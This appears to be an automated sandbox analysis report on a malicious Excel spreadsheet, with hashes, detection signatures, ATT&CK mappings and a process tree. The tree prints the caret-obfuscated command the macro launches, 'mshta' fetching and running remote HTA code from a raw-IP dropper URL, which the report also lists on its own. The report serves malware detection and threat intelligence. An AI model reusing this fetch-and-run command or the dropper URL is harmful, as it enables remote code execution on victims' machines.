f28bdb9c4fbdc61583fb85ae35bc5e589b0f4a048764c5749209ac519363358f

General

Target

2022-1-28-300d22c0dc46f5cf0fb088f0bc36e543.xls
Size

46KB
MD5

300d22c0dc46f5cf0fb088f0bc36e543
SHA1

966d5b123e0f9048cbaa9d0f08c9abb0b3eb6fca
SHA256

f28bdb9c4fbdc61583fb85ae35bc5e589b0f4a048764c5749209ac519363358f
SHA512

c38c450e4ca8b5ab2593b22c3fec510e3ed5743e8593522c106bbc5950b6b1d6d2574a6b8845f2bfbd74d2a211a704c11a4eacd7dcf8036fddca891e065b5721

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3232	2656	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

37 3196 mshta.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1840 3196 WerFault.exe mshta.exe

flow	pid	process
37	3196	mshta.exe

pid	pid_target	process	target process
1840	3196	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2656 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
1840	WerFault.exe
1840	WerFault.exe
1840	WerFault.exe
1840	WerFault.exe
1840	WerFault.exe
1840	WerFault.exe
1840	WerFault.exe
1840	WerFault.exe
1840	WerFault.exe
1840	WerFault.exe
1840	WerFault.exe
1840	WerFault.exe
1840	WerFault.exe
1840	WerFault.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

WerFault.exe

description pid process

Token: SeDebugPrivilege 1840 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	1840	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE
2656	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXECMD.EXE

description	pid	process	target process
PID 2656 wrote to memory of 3232	2656	EXCEL.EXE	CMD.EXE
PID 2656 wrote to memory of 3232	2656	EXCEL.EXE	CMD.EXE
PID 3232 wrote to memory of 3196	3232	CMD.EXE	mshta.exe
PID 3232 wrote to memory of 3196	3232	CMD.EXE	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-28-300d22c0dc46f5cf0fb088f0bc36e543.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2656

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3232

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
PID:3196

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3196 -s 1644
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1840

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/2656-117-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

Filesize
64KB

Download
memory/2656-118-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

Filesize
64KB

Download
memory/2656-119-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

Filesize
64KB

Download
memory/2656-120-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

Filesize
64KB

Download
memory/2656-123-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

Filesize
64KB

Download
memory/2656-130-0x00007FFE76C00000-0x00007FFE76C10000-memory.dmp

Filesize
64KB

Download
memory/2656-131-0x00007FFE76C00000-0x00007FFE76C10000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads